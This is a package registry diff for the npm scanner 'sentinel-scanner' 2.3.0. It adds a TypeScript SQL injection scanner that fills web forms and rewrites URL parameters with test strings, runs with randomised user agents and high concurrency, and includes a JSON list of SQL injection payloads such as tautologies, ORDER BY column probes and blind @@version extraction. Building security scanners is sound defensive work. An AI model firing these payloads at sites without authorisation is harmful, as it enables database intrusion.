sentinel-scanner 2.2.2 → 2.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.cspell.json +9 -5
- package/CHANGELOG.md +3 -3
- package/build/bin.js +255 -255
- package/build/index.js +1 -1
- package/docs/index.md +5 -6
- package/docs/sql-injection/details.md +109 -0
- package/docs/sql-injection/index.md +73 -0
- package/package.json +21 -1
- package/src/bin.ts +3 -0
- package/src/commands/sqli.ts +150 -0
- package/src/modules/sqli/index.ts +482 -0
- package/src/modules/sqli/payloads.json +156 -0
- package/src/utils/index.ts +1 -0
@@ -0,0 +1,482 @@
|
|
1
|
+
import puppeteer, { type Page } from "puppeteer";
|
2
|
+
import UserAgent from "user-agents";
|
3
|
+
import type { Vulnerability } from "../../index.js";
|
4
|
+
import { createLogger, generateCVSS } from "../../utils/index.js";
|
5
|
+
import payloads from "./payloads.json";
|
6
|
+
|
7
|
+
export type SupportedDatabases =
|
8
|
+
| "MySQL"
|
9
|
+
| "PostgreSQL"
|
10
|
+
| "Microsoft SQL Server"
|
11
|
+
| "Microsoft Access"
|
12
|
+
| "Oracle"
|
13
|
+
| "IBM DB2"
|
14
|
+
| "SQLite"
|
15
|
+
| "Sybase";
|
16
|
+
|
17
|
+
export type SQLErrors = Record<SupportedDatabases, Array<string>>;
|
18
|
+
|
19
|
+
export type SqliConstructorOpts = {
|
20
|
+
// An Array of Links to scan for SQL Injection vulnerabilities On The Website
|
21
|
+
spiderResults: Array<string>;
|
22
|
+
retries?: number;
|
23
|
+
timeout?: number;
|
24
|
+
concurrency?: number;
|
25
|
+
};
|
26
|
+
|
27
|
+
export default class SqliScanner {
|
28
|
+
private logger = createLogger("SQLIScanner");
|
29
|
+
private spiderResults: Array<string> = [];
|
30
|
+
private retries = 3;
|
31
|
+
private timeout = 10000;
|
32
|
+
private vulnerabilities: Array<Vulnerability> = [];
|
33
|
+
private concurrency = 20;
|
34
|
+
private payloads: Array<string> = payloads;
|
35
|
+
|
36
|
+
constructor(opts: SqliConstructorOpts) {
|
37
|
+
try {
|
38
|
+
this.validateSpiderResults(opts.spiderResults);
|
39
|
+
|
40
|
+
this.spiderResults = opts.spiderResults;
|
41
|
+
|
42
|
+
if (opts.retries) {
|
43
|
+
this.retries = opts.retries;
|
44
|
+
}
|
45
|
+
|
46
|
+
if (opts.timeout) {
|
47
|
+
this.timeout = opts.timeout;
|
48
|
+
}
|
49
|
+
|
50
|
+
if (opts.concurrency) {
|
51
|
+
if (opts.concurrency < 1) {
|
52
|
+
throw new Error("Concurrency must be greater than 0");
|
53
|
+
}
|
54
|
+
|
55
|
+
if (opts.concurrency > 100) {
|
56
|
+
throw new Error("Concurrency must be less than or equal to 100");
|
57
|
+
}
|
58
|
+
|
59
|
+
this.concurrency = opts.concurrency;
|
60
|
+
}
|
61
|
+
|
62
|
+
this.logger.info(
|
63
|
+
`XSSScanner initialized with ${this.spiderResults.length} URLs, ${this.retries} retries, ${this.timeout}ms timeout, and ${this.concurrency} workers`,
|
64
|
+
);
|
65
|
+
} catch (error) {
|
66
|
+
throw new Error(`Error initializing XSSScanner: ${error}`);
|
67
|
+
}
|
68
|
+
}
|
69
|
+
|
70
|
+
private validateSpiderResults(spiderResults: Array<string>) {
|
71
|
+
if (!spiderResults) {
|
72
|
+
throw new Error("Missing required spiderResults parameter");
|
73
|
+
}
|
74
|
+
|
75
|
+
if (!Array.isArray(spiderResults)) {
|
76
|
+
throw new Error("spiderResults must be an array");
|
77
|
+
}
|
78
|
+
|
79
|
+
if (Array.isArray(spiderResults) && spiderResults.length === 0) {
|
80
|
+
throw new Error("spiderResults array cannot be empty");
|
81
|
+
}
|
82
|
+
|
83
|
+
spiderResults.some((url) => {
|
84
|
+
if (typeof url !== "string") {
|
85
|
+
throw new Error("spiderResults array must contain only strings");
|
86
|
+
}
|
87
|
+
});
|
88
|
+
}
|
89
|
+
|
90
|
+
private async fillFormIfExists(page: Page, url: string) {
|
91
|
+
try {
|
92
|
+
const formsExist = await page.evaluate(() => {
|
93
|
+
return document.forms.length > 0;
|
94
|
+
});
|
95
|
+
|
96
|
+
if (!formsExist) {
|
97
|
+
this.logger.info(`No forms found on ${url}`);
|
98
|
+
return;
|
99
|
+
}
|
100
|
+
|
101
|
+
this.logger.info(`Found forms on ${url}`);
|
102
|
+
|
103
|
+
for (const payload of payloads) {
|
104
|
+
if (typeof payload !== "string" || payload.length === 0) {
|
105
|
+
this.logger.warn(`Skipping malformed payload: "${payload}"`);
|
106
|
+
continue;
|
107
|
+
}
|
108
|
+
|
109
|
+
this.logger.info(`Testing payload "${payload}" on ${url}`);
|
110
|
+
|
111
|
+
const forms = await page.$$("form");
|
112
|
+
|
113
|
+
if (!forms || forms.length === 0) {
|
114
|
+
this.logger.info(`No forms found on ${url}`);
|
115
|
+
return;
|
116
|
+
}
|
117
|
+
|
118
|
+
for (const form of forms) {
|
119
|
+
const inputs = await form.$$("input");
|
120
|
+
for (const input of inputs) {
|
121
|
+
const type = await input.evaluate((node) => node.type);
|
122
|
+
switch (type) {
|
123
|
+
case "text":
|
124
|
+
case "email":
|
125
|
+
case "password":
|
126
|
+
case "number":
|
127
|
+
case "tel":
|
128
|
+
case "url":
|
129
|
+
case "search":
|
130
|
+
case "date":
|
131
|
+
case "time":
|
132
|
+
case "month":
|
133
|
+
case "week":
|
134
|
+
case "datetime-local":
|
135
|
+
await input.type(payload);
|
136
|
+
break;
|
137
|
+
case "checkbox":
|
138
|
+
case "radio":
|
139
|
+
await input.evaluate((node) => {
|
140
|
+
node.checked = true;
|
141
|
+
});
|
142
|
+
break;
|
143
|
+
}
|
144
|
+
}
|
145
|
+
|
146
|
+
const textAreas = await form.$$("textarea");
|
147
|
+
for (const textArea of textAreas) {
|
148
|
+
await textArea.type(payload);
|
149
|
+
}
|
150
|
+
|
151
|
+
const selects = await form.$$("select");
|
152
|
+
for (const select of selects) {
|
153
|
+
select.evaluate((node) => {
|
154
|
+
if (node.options.length > 0) {
|
155
|
+
node.selectedIndex = 0;
|
156
|
+
}
|
157
|
+
});
|
158
|
+
}
|
159
|
+
|
160
|
+
await form.evaluate((node) => node.submit());
|
161
|
+
|
162
|
+
/**
|
163
|
+
* Implement Check for SQL Injection Vulnerability
|
164
|
+
*/
|
165
|
+
// Wait for the page to load after submitting the form
|
166
|
+
await page.waitForNavigation({
|
167
|
+
waitUntil: "domcontentloaded",
|
168
|
+
timeout: this.timeout,
|
169
|
+
});
|
170
|
+
|
171
|
+
// Capture the page content
|
172
|
+
const pageContent = await page.content();
|
173
|
+
|
174
|
+
const { isVulnerable, dbms } = this.checkContentForErrors(
|
175
|
+
pageContent,
|
176
|
+
url,
|
177
|
+
);
|
178
|
+
|
179
|
+
if (isVulnerable) {
|
180
|
+
this.logger.warn(
|
181
|
+
`Potential SQL Injection vulnerability found on ${url}`,
|
182
|
+
);
|
183
|
+
|
184
|
+
this.logger.info(`Database: ${dbms}`);
|
185
|
+
|
186
|
+
const cvssScore = generateCVSS({
|
187
|
+
accessVector: "N",
|
188
|
+
accessComplexity: "L",
|
189
|
+
attackRequirements: "P",
|
190
|
+
privilegesRequired: "N",
|
191
|
+
userInteraction: "A",
|
192
|
+
confidentialityImpact: "H",
|
193
|
+
});
|
194
|
+
|
195
|
+
this.logger.info(
|
196
|
+
`CVSS Score: ${cvssScore.score} (${cvssScore.level})`,
|
197
|
+
);
|
198
|
+
|
199
|
+
this.vulnerabilities.push({
|
200
|
+
type: cvssScore.level,
|
201
|
+
severity: cvssScore.score,
|
202
|
+
url,
|
203
|
+
description: `Potential SQL Injection vulnerability found on ${url} with payload: ${payload} and database: ${dbms}. This can be exploited to perform unauthorized actions on the database.`,
|
204
|
+
payloads: [payload],
|
205
|
+
});
|
206
|
+
}
|
207
|
+
}
|
208
|
+
|
209
|
+
this.logger.info(`Payload "${payload}" submitted on ${url}`);
|
210
|
+
|
211
|
+
await this.sleep(1000);
|
212
|
+
}
|
213
|
+
} catch (error) {
|
214
|
+
this.logger.error(`Error in fillFormIfExists for ${url}: ${error}`);
|
215
|
+
}
|
216
|
+
}
|
217
|
+
|
218
|
+
private async sleep(ms: number) {
|
219
|
+
return new Promise((resolve) => setTimeout(resolve, ms));
|
220
|
+
}
|
221
|
+
|
222
|
+
private chunkArray(array: Array<string>, size: number) {
|
223
|
+
const chunkedArray = [];
|
224
|
+
for (let i = 0; i < array.length; i += size) {
|
225
|
+
chunkedArray.push(array.slice(i, i + size));
|
226
|
+
}
|
227
|
+
|
228
|
+
return chunkedArray;
|
229
|
+
}
|
230
|
+
|
231
|
+
private async scanWithBrowser(urls: Array<string>) {
|
232
|
+
try {
|
233
|
+
const browser = await puppeteer.launch({
|
234
|
+
headless: true,
|
235
|
+
args: ["--no-sandbox", "--disable-setuid-sandbox"],
|
236
|
+
});
|
237
|
+
|
238
|
+
const userAgent = new UserAgent();
|
239
|
+
|
240
|
+
let [page] = await browser.pages();
|
241
|
+
|
242
|
+
if (!page) {
|
243
|
+
page = await browser.newPage();
|
244
|
+
}
|
245
|
+
|
246
|
+
await page.setUserAgent(userAgent.toString());
|
247
|
+
|
248
|
+
for (const url of urls) {
|
249
|
+
this.logger.info(`Navigating to ${url}`);
|
250
|
+
|
251
|
+
await page.goto(url, {
|
252
|
+
waitUntil: "domcontentloaded",
|
253
|
+
timeout: this.timeout,
|
254
|
+
});
|
255
|
+
|
256
|
+
await this.fillFormIfExists(page, url);
|
257
|
+
}
|
258
|
+
|
259
|
+
await browser.close();
|
260
|
+
} catch (error) {
|
261
|
+
this.logger.error(`Error in scan: ${error}`);
|
262
|
+
throw new Error(`Error in scan: ${error}`);
|
263
|
+
}
|
264
|
+
}
|
265
|
+
|
266
|
+
private async fetchWithRetries(
|
267
|
+
url: string,
|
268
|
+
retries: number,
|
269
|
+
method: "GET" | "POST" = "GET",
|
270
|
+
): Promise<string | null> {
|
271
|
+
for (let attempt = 1; attempt <= retries; attempt++) {
|
272
|
+
const controller = new AbortController();
|
273
|
+
const timeoutId = setTimeout(() => controller.abort(), this.timeout);
|
274
|
+
|
275
|
+
try {
|
276
|
+
this.logger.debug(`Fetching URL (Attempt ${attempt}): ${url}`);
|
277
|
+
const randomUserAgent = new UserAgent().toString();
|
278
|
+
this.logger.info(`Changing User-Agent to: ${randomUserAgent}`);
|
279
|
+
|
280
|
+
const response = await fetch(url, {
|
281
|
+
headers: {
|
282
|
+
"User-Agent": randomUserAgent,
|
283
|
+
},
|
284
|
+
signal: controller.signal,
|
285
|
+
});
|
286
|
+
|
287
|
+
clearTimeout(timeoutId);
|
288
|
+
|
289
|
+
if (response.ok) {
|
290
|
+
this.logger.info(`Successfully fetched URL: ${url}`);
|
291
|
+
return await response.text();
|
292
|
+
}
|
293
|
+
|
294
|
+
this.logger.warn(`Failed to fetch URL (${response.status}): ${url}`);
|
295
|
+
} catch (error) {
|
296
|
+
if ((error as Error).name === "AbortError") {
|
297
|
+
this.logger.warn(`Fetch timed out: ${url}`);
|
298
|
+
} else {
|
299
|
+
this.logger.error(`Error fetching URL: ${url} - ${error}`);
|
300
|
+
}
|
301
|
+
}
|
302
|
+
}
|
303
|
+
return null;
|
304
|
+
}
|
305
|
+
|
306
|
+
private async scanWithParams(urls: Array<string>) {
|
307
|
+
try {
|
308
|
+
for (const url of urls) {
|
309
|
+
const urlToTest = new URL(url);
|
310
|
+
if (urlToTest.search === "" || urlToTest.search === null) {
|
311
|
+
this.logger.info(`No query parameters found in ${url}`);
|
312
|
+
continue;
|
313
|
+
}
|
314
|
+
|
315
|
+
const params = urlToTest.searchParams;
|
316
|
+
|
317
|
+
for (const [key, value] of params) {
|
318
|
+
for (const payload of this.payloads) {
|
319
|
+
const newUrl = new URL(url);
|
320
|
+
newUrl.searchParams.set(key, payload);
|
321
|
+
|
322
|
+
const response = await this.fetchWithRetries(newUrl.toString(), 3);
|
323
|
+
|
324
|
+
if (!response) {
|
325
|
+
this.logger.warn(`Failed to fetch URL: ${newUrl}`);
|
326
|
+
continue;
|
327
|
+
}
|
328
|
+
|
329
|
+
const { isVulnerable, dbms } = this.checkContentForErrors(
|
330
|
+
response,
|
331
|
+
newUrl.toString(),
|
332
|
+
);
|
333
|
+
|
334
|
+
if (isVulnerable) {
|
335
|
+
this.logger.warn(
|
336
|
+
`Potential SQL Injection vulnerability found on ${url}`,
|
337
|
+
);
|
338
|
+
|
339
|
+
const cvssScore = generateCVSS({
|
340
|
+
accessVector: "N",
|
341
|
+
accessComplexity: "L",
|
342
|
+
attackRequirements: "P",
|
343
|
+
privilegesRequired: "N",
|
344
|
+
userInteraction: "P",
|
345
|
+
confidentialityImpact: "H",
|
346
|
+
});
|
347
|
+
|
348
|
+
this.vulnerabilities.push({
|
349
|
+
type: cvssScore.level,
|
350
|
+
severity: cvssScore.score,
|
351
|
+
url,
|
352
|
+
description: `Potential SQL Injection vulnerability found on ${url} with payload: ${payload} and database: ${dbms}. This can be exploited to perform unauthorized actions on the database.`,
|
353
|
+
payloads: [payload],
|
354
|
+
});
|
355
|
+
|
356
|
+
this.logger.info(
|
357
|
+
`CVSS Score: ${cvssScore.score} (${cvssScore.level})`,
|
358
|
+
);
|
359
|
+
|
360
|
+
this.logger.info(`Database: ${dbms}`);
|
361
|
+
}
|
362
|
+
|
363
|
+
const postResponse = await this.fetchWithRetries(
|
364
|
+
newUrl.toString(),
|
365
|
+
3,
|
366
|
+
"POST",
|
367
|
+
);
|
368
|
+
|
369
|
+
if (!postResponse) {
|
370
|
+
this.logger.warn(`Failed to fetch URL: ${newUrl}`);
|
371
|
+
continue;
|
372
|
+
}
|
373
|
+
|
374
|
+
const postDbms = this.checkContentForErrors(
|
375
|
+
postResponse,
|
376
|
+
newUrl.toString(),
|
377
|
+
);
|
378
|
+
|
379
|
+
if (postDbms.isVulnerable) {
|
380
|
+
this.logger.warn(
|
381
|
+
`Potential SQL Injection vulnerability found on ${url}`,
|
382
|
+
);
|
383
|
+
|
384
|
+
this.logger.info(`Database: ${postDbms.dbms}`);
|
385
|
+
}
|
386
|
+
}
|
387
|
+
}
|
388
|
+
}
|
389
|
+
} catch (error) {
|
390
|
+
this.logger.error(`Error in scan: ${error}`);
|
391
|
+
throw new Error(`Error in scan: ${error}`);
|
392
|
+
}
|
393
|
+
}
|
394
|
+
|
395
|
+
private checkContentForErrors(content: string, url: string) {
|
396
|
+
const errorPatterns = {
|
397
|
+
MySQL: [
|
398
|
+
"SQL syntax",
|
399
|
+
"MySQL",
|
400
|
+
"Warning mysql_",
|
401
|
+
"valid MySQL result",
|
402
|
+
"MySqlClient",
|
403
|
+
],
|
404
|
+
PostgreSQL: [
|
405
|
+
"PostgreSQL ERROR",
|
406
|
+
"Warning pg_",
|
407
|
+
"valid PostgreSQL result",
|
408
|
+
"Npgsql",
|
409
|
+
],
|
410
|
+
"Microsoft SQL Server": [
|
411
|
+
"Driver SQL Server",
|
412
|
+
"OLE DB SQL Server",
|
413
|
+
"SQL Server Driver",
|
414
|
+
"Warning mssql_",
|
415
|
+
"SQL Server",
|
416
|
+
"System.Data.SqlClient",
|
417
|
+
"Roadhouse.Cms",
|
418
|
+
],
|
419
|
+
"Microsoft Access": [
|
420
|
+
"Microsoft Access Driver",
|
421
|
+
"JET Database Engine",
|
422
|
+
"Access Database Engine",
|
423
|
+
],
|
424
|
+
Oracle: [
|
425
|
+
"ORA-",
|
426
|
+
"Oracle error",
|
427
|
+
"Oracle Driver",
|
428
|
+
"Warning oci_",
|
429
|
+
"Warning ora_",
|
430
|
+
],
|
431
|
+
"IBM DB2": ["CLI Driver DB2", "DB2 SQL error", "db2_"],
|
432
|
+
SQLite: [
|
433
|
+
"SQLite/JDBCDriver",
|
434
|
+
"SQLite.Exception",
|
435
|
+
"System.Data.SQLite.SQLiteException",
|
436
|
+
"Warning sqlite_",
|
437
|
+
"Warning SQLite3::",
|
438
|
+
"SQLITE_ERROR",
|
439
|
+
],
|
440
|
+
Sybase: ["Warning sybase", "Sybase message", "Sybase Server message"],
|
441
|
+
};
|
442
|
+
|
443
|
+
for (const [dbms, patterns] of Object.entries(errorPatterns)) {
|
444
|
+
for (const pattern of patterns) {
|
445
|
+
if (content.includes(pattern)) {
|
446
|
+
return {
|
447
|
+
dbms,
|
448
|
+
isVulnerable: true,
|
449
|
+
};
|
450
|
+
}
|
451
|
+
}
|
452
|
+
}
|
453
|
+
|
454
|
+
return {
|
455
|
+
dbms: null,
|
456
|
+
isVulnerable: false,
|
457
|
+
};
|
458
|
+
}
|
459
|
+
|
460
|
+
public async scan() {
|
461
|
+
try {
|
462
|
+
// Adjust the chunk size dynamically based on concurrency
|
463
|
+
const chunkedUrls = this.chunkArray(this.spiderResults, this.concurrency);
|
464
|
+
|
465
|
+
const promises = chunkedUrls.map(async (urls) => {
|
466
|
+
// Running both scans (with browser and parameters) in parallel
|
467
|
+
return Promise.allSettled([
|
468
|
+
this.scanWithBrowser(urls), // Scan with Puppeteer for forms
|
469
|
+
this.scanWithParams(urls), // Scan with URL parameters
|
470
|
+
]);
|
471
|
+
});
|
472
|
+
|
473
|
+
// Wait for all scans to finish
|
474
|
+
await Promise.all(promises);
|
475
|
+
|
476
|
+
return this.vulnerabilities;
|
477
|
+
} catch (error) {
|
478
|
+
this.logger.error(`Error in scan: ${error}`);
|
479
|
+
throw new Error(`Error in scan: ${error}`);
|
480
|
+
}
|
481
|
+
}
|
482
|
+
}
|
@@ -0,0 +1,156 @@
|
|
1
|
+
[
|
2
|
+
"OR 1=1",
|
3
|
+
"OR 1=0",
|
4
|
+
"OR x=x",
|
5
|
+
"OR x=y",
|
6
|
+
"OR 1=1#",
|
7
|
+
"OR 1=0#",
|
8
|
+
"OR x=x#",
|
9
|
+
"OR x=y#",
|
10
|
+
"OR 1=1--",
|
11
|
+
"OR 1=0--",
|
12
|
+
"OR x=x--",
|
13
|
+
"OR x=y--",
|
14
|
+
"OR 3409=3409 AND ('pytW' LIKE 'pytW",
|
15
|
+
"OR 3409=3409 AND ('pytW' LIKE 'pytY",
|
16
|
+
"HAVING 1=1",
|
17
|
+
"HAVING 1=0",
|
18
|
+
"HAVING 1=1#",
|
19
|
+
"HAVING 1=0#",
|
20
|
+
"HAVING 1=1--",
|
21
|
+
"HAVING 1=0--",
|
22
|
+
"AND 1=1",
|
23
|
+
"AND 1=0",
|
24
|
+
"AND 1=1--",
|
25
|
+
"AND 1=0--",
|
26
|
+
"AND 1=1#",
|
27
|
+
"AND 1=0#",
|
28
|
+
"AND 1=1 AND '%'='",
|
29
|
+
"AND 1=0 AND '%'='",
|
30
|
+
"AND 1083=1083 AND (1427=1427",
|
31
|
+
"AND 7506=9091 AND (5913=5913",
|
32
|
+
"AND 1083=1083 AND ('1427=1427",
|
33
|
+
"AND 7506=9091 AND ('5913=5913",
|
34
|
+
"AND 7300=7300 AND 'pKlZ'='pKlZ",
|
35
|
+
"AND 7300=7300 AND 'pKlZ'='pKlY",
|
36
|
+
"AND 7300=7300 AND ('pKlZ'='pKlZ",
|
37
|
+
"AND 7300=7300 AND ('pKlZ'='pKlY",
|
38
|
+
"AS INJECTX WHERE 1=1 AND 1=1",
|
39
|
+
"AS INJECTX WHERE 1=1 AND 1=0",
|
40
|
+
"AS INJECTX WHERE 1=1 AND 1=1#",
|
41
|
+
"AS INJECTX WHERE 1=1 AND 1=0#",
|
42
|
+
"AS INJECTX WHERE 1=1 AND 1=1--",
|
43
|
+
"AS INJECTX WHERE 1=1 AND 1=0--",
|
44
|
+
"WHERE 1=1 AND 1=1",
|
45
|
+
"WHERE 1=1 AND 1=0",
|
46
|
+
"WHERE 1=1 AND 1=1#",
|
47
|
+
"WHERE 1=1 AND 1=0#",
|
48
|
+
"WHERE 1=1 AND 1=1--",
|
49
|
+
"WHERE 1=1 AND 1=0--",
|
50
|
+
"ORDER BY 1--",
|
51
|
+
"ORDER BY 2--",
|
52
|
+
"ORDER BY 3--",
|
53
|
+
"ORDER BY 4--",
|
54
|
+
"ORDER BY 5--",
|
55
|
+
"ORDER BY 6--",
|
56
|
+
"ORDER BY 7--",
|
57
|
+
"ORDER BY 8--",
|
58
|
+
"ORDER BY 9--",
|
59
|
+
"ORDER BY 10--",
|
60
|
+
"ORDER BY 11--",
|
61
|
+
"ORDER BY 12--",
|
62
|
+
"ORDER BY 13--",
|
63
|
+
"ORDER BY 14--",
|
64
|
+
"ORDER BY 15--",
|
65
|
+
"ORDER BY 16--",
|
66
|
+
"ORDER BY 17--",
|
67
|
+
"ORDER BY 18--",
|
68
|
+
"ORDER BY 19--",
|
69
|
+
"ORDER BY 20--",
|
70
|
+
"ORDER BY 21--",
|
71
|
+
"ORDER BY 22--",
|
72
|
+
"ORDER BY 23--",
|
73
|
+
"ORDER BY 24--",
|
74
|
+
"ORDER BY 25--",
|
75
|
+
"ORDER BY 26--",
|
76
|
+
"ORDER BY 27--",
|
77
|
+
"ORDER BY 28--",
|
78
|
+
"ORDER BY 29--",
|
79
|
+
"ORDER BY 30--",
|
80
|
+
"ORDER BY 31337--",
|
81
|
+
"ORDER BY 1#",
|
82
|
+
"ORDER BY 2#",
|
83
|
+
"ORDER BY 3#",
|
84
|
+
"ORDER BY 4#",
|
85
|
+
"ORDER BY 5#",
|
86
|
+
"ORDER BY 6#",
|
87
|
+
"ORDER BY 7#",
|
88
|
+
"ORDER BY 8#",
|
89
|
+
"ORDER BY 9#",
|
90
|
+
"ORDER BY 10#",
|
91
|
+
"ORDER BY 11#",
|
92
|
+
"ORDER BY 12#",
|
93
|
+
"ORDER BY 13#",
|
94
|
+
"ORDER BY 14#",
|
95
|
+
"ORDER BY 15#",
|
96
|
+
"ORDER BY 16#",
|
97
|
+
"ORDER BY 17#",
|
98
|
+
"ORDER BY 18#",
|
99
|
+
"ORDER BY 19#",
|
100
|
+
"ORDER BY 20#",
|
101
|
+
"ORDER BY 21#",
|
102
|
+
"ORDER BY 22#",
|
103
|
+
"ORDER BY 23#",
|
104
|
+
"ORDER BY 24#",
|
105
|
+
"ORDER BY 25#",
|
106
|
+
"ORDER BY 26#",
|
107
|
+
"ORDER BY 27#",
|
108
|
+
"ORDER BY 28#",
|
109
|
+
"ORDER BY 29#",
|
110
|
+
"ORDER BY 30#",
|
111
|
+
"ORDER BY 31337#",
|
112
|
+
"ORDER BY 1",
|
113
|
+
"ORDER BY 2",
|
114
|
+
"ORDER BY 3",
|
115
|
+
"ORDER BY 4",
|
116
|
+
"ORDER BY 5",
|
117
|
+
"ORDER BY 6",
|
118
|
+
"ORDER BY 7",
|
119
|
+
"ORDER BY 8",
|
120
|
+
"ORDER BY 9",
|
121
|
+
"ORDER BY 10",
|
122
|
+
"ORDER BY 11",
|
123
|
+
"ORDER BY 12",
|
124
|
+
"ORDER BY 13",
|
125
|
+
"ORDER BY 14",
|
126
|
+
"ORDER BY 15",
|
127
|
+
"ORDER BY 16",
|
128
|
+
"ORDER BY 17",
|
129
|
+
"ORDER BY 18",
|
130
|
+
"ORDER BY 19",
|
131
|
+
"ORDER BY 20",
|
132
|
+
"ORDER BY 21",
|
133
|
+
"ORDER BY 22",
|
134
|
+
"ORDER BY 23",
|
135
|
+
"ORDER BY 24",
|
136
|
+
"ORDER BY 25",
|
137
|
+
"ORDER BY 26",
|
138
|
+
"ORDER BY 27",
|
139
|
+
"ORDER BY 28",
|
140
|
+
"ORDER BY 29",
|
141
|
+
"ORDER BY 30",
|
142
|
+
"ORDER BY 31337",
|
143
|
+
"RLIKE (SELECT (CASE WHEN (4346=4346) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'='",
|
144
|
+
"RLIKE (SELECT (CASE WHEN (4346=4347) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'='",
|
145
|
+
"IF(7423=7424) SELECT 7423 ELSE DROP FUNCTION xcjl--",
|
146
|
+
"IF(7423=7423) SELECT 7423 ELSE DROP FUNCTION xcjl--",
|
147
|
+
"%' AND 8310=8310 AND '%'='",
|
148
|
+
"%' AND 8310=8311 AND '%'='",
|
149
|
+
"and (select substring(@@version,1,1))='X'",
|
150
|
+
"and (select substring(@@version,1,1))='M'",
|
151
|
+
"and (select substring(@@version,2,1))='i'",
|
152
|
+
"and (select substring(@@version,2,1))='y'",
|
153
|
+
"and (select substring(@@version,3,1))='c'",
|
154
|
+
"and (select substring(@@version,3,1))='S'",
|
155
|
+
"and (select substring(@@version,3,1))='X'"
|
156
|
+
]
|